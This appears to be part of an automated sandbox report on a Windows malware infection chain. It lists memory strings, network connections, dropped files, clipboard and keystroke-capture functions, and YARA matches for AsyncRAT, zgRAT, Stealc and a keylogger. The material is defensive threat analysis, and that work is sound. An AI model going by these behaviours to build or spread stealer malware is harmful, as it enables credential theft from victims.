Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000003095000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Entity/Id9
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000338C000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000003174000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002953000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: stories.exe, 00000014.00000003.2826954081.0000000002230000.00000004.00001000.00020000.00000000.sdmp, stories.exe, 00000014.00000003.2827256040.0000000002008000.00000004.00001000.00020000.00000000.sdmp, stories.tmp, 00000015.00000000.2828637379.0000000000401000.00000020.00000001.01000000.00000014.sdmp String found in binary or memory: http://www.innosetup.com/
Source: stories.exe, 00000014.00000002.3332146749.0000000000401000.00000020.00000001.01000000.00000013.sdmp String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
Source: stories.exe, 00000014.00000002.3332146749.0000000000401000.00000020.00000001.01000000.00000013.sdmp String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: stealc_default2.exe, 00000013.00000002.3061112605.0000000068E3D000.00000002.00000001.01000000.00000021.sdmp String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: stories.exe, 00000014.00000003.2826954081.0000000002230000.00000004.00001000.00020000.00000000.sdmp, stories.exe, 00000014.00000003.2827256040.0000000002008000.00000004.00001000.00020000.00000000.sdmp, stories.tmp, 00000015.00000000.2828637379.0000000000401000.00000020.00000001.01000000.00000014.sdmp String found in binary or memory: http://www.remobjects.com/ps
Source: stories.exe, 00000014.00000003.2826954081.0000000002230000.00000004.00001000.00020000.00000000.sdmp, stories.exe, 00000014.00000003.2827256040.0000000002008000.00000004.00001000.00020000.00000000.sdmp, stories.tmp, 00000015.00000000.2828637379.0000000000401000.00000020.00000001.01000000.00000014.sdmp String found in binary or memory: http://www.remobjects.com/psU
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3060182683.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.x-ways.net/order
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.x-ways.net/order.html-d.htmlS
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.x-ways.net/winhex/license
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.x-ways.net/winhex/license-d-f.htmlS
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.x-ways.net/winhex/subscribe
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.x-ways.net/winhex/subscribe-d.htmlU
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: penis.exe, 00000018.00000002.2884267791.0000000002F9E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ip.s
Source: penis.exe, 00000018.00000002.2884267791.0000000002F9E000.00000004.00000800.00020000.00000000.sdmp, crypted.exe, 0000001B.00000002.2955093646.0000000003A05000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ip.sb/ip
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discord.com/api/v9/users/
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 0000001A.00000003.2874602060.0000019DEABA3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000001A.00000003.2874602060.0000019DEAB30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/tesseract-ocr/tessdata/
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.00000000032DD000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: stealc_default2.exe, 00000013.00000003.2954194570.000000002D39E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.ssl.com/repository0
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.x-ways.net/forensics/x-tensions.html
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.x-ways.net/forensics/x-tensions.htmlf
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.x-ways.net/winhex/forum/
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.x-ways.net/winhex/forum/www.x-ways.net/winhex/templates/www.x-ways.net/dongle_protection
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.5:49786 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE9000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 14_2_00EE9000
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE9000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 14_2_00EE9000
Installs a raw input device (often for capturing keystrokes)
Source: penis.exe, 00000018.00000002.2884267791.000000000315A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: GetRawInputData memstr_580c3019-f
Yara detected Keylogger Generic
Source: Yara match File source: 32.0.svchost015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: needmoney.exe PID: 6616, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\svchost015.exe, type: DROPPED
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\Tmp21D7.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\TmpD145.tmp Jump to dropped file
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File created: C:\Users\user\AppData\Local\Temp\TmpE088.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\TmpD156.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\Tmp21C7.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File created: C:\Users\user\AppData\Local\Temp\Tmp3223.tmp Jump to dropped file
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File created: C:\Users\user\AppData\Local\Temp\TmpE0A8.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File created: C:\Users\user\AppData\Local\Temp\Tmp3213.tmp Jump to dropped file

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 37.2.InstallUtil.exe.800000.0.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 24.0.penis.exe.ca0000.0.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 36.2.rstxdhuj.exe.4141590.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 36.2.rstxdhuj.exe.418fdb0.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000024.00000002.3118723302.0000000004141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000025.00000002.3332091327.0000000000802000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000024.00000002.3009810672.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe, type: DROPPED Matched rule: Detects zgRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED Matched rule: Detects zgRAT Author: ditekSHen
.NET source code contains very large array initializations
Source: gold[1].exe.6.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 311296
Source: gold.exe.6.dr, MoveAngles.cs Large array initialization: MoveAngles: array initializer size 311296
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: .idata
Source: axplong.exe.0.dr Static PE information: section name:
Source: 2a8f2f9086.exe.6.dr Static PE information: section name:
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: .idata
Source: 2a8f2f9086.exe.6.dr Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001AC9F7 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers, 16_2_001AC9F7
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0022C9F7 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers, 17_2_0022C9F7
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File created: C:\Windows\Tasks\Hkbsse.job
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_015ADC74 9_2_015ADC74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_05876948 9_2_05876948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_05877C20 9_2_05877C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_05870007 9_2_05870007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_05870040 9_2_05870040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_05877C10 9_2_05877C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06B8A6B8 9_2_06B8A6B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06B867D8 9_2_06B867D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06B8A688 9_2_06B8A688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06B86FF8 9_2_06B86FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06B86FE8 9_2_06B86FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E476A8 9_2_06E476A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4DE60 9_2_06E4DE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4CE20 9_2_06E4CE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4E7B8 9_2_06E4E7B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E46DD8 9_2_06E46DD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E48DB0 9_2_06E48DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4F2D8 9_2_06E4F2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4BA05 9_2_06E4BA05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E49218 9_2_06E49218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E413C0 9_2_06E413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4A3C8 9_2_06E4A3C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4B390 9_2_06E4B390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4C0B1 9_2_06E4C0B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E49858 9_2_06E49858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E4CE12 9_2_06E4CE12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E46A90 9_2_06E46A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E49208 9_2_06E49208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E413B0 9_2_06E413B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00402320 13_2_00402320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004050C0 13_2_004050C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00420470 13_2_00420470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040FCF0 13_2_0040FCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00419D19 13_2_00419D19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041951B 13_2_0041951B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00415635 13_2_00415635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041DEC3 13_2_0041DEC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00404F00 13_2_00404F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040CF8F 13_2_0040CF8F
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF7600 14_2_00EF7600
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF50E0 14_2_00EF50E0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE40F5 14_2_00EE40F5
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF004B 14_2_00EF004B
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EFB020 14_2_00EFB020
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB1000 14_2_00EB1000
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB91F0 14_2_00EB91F0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB12A7 14_2_00EB12A7
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBA3C0 14_2_00EBA3C0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDC390 14_2_00EDC390
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF9390 14_2_00EF9390
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDA345 14_2_00EDA345
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EFB300 14_2_00EFB300
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EC0480 14_2_00EC0480
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB7470 14_2_00EB7470
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBB470 14_2_00EBB470
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBE470 14_2_00EBE470
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EC1420 14_2_00EC1420
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB5400 14_2_00EB5400
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDD58E 14_2_00EDD58E
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDD56C 14_2_00EDD56C
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00ECE52C 14_2_00ECE52C
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE7620 14_2_00EE7620
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE27B0 14_2_00EE27B0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB3790 14_2_00EB3790
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB9737 14_2_00EB9737
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDC891 14_2_00EDC891
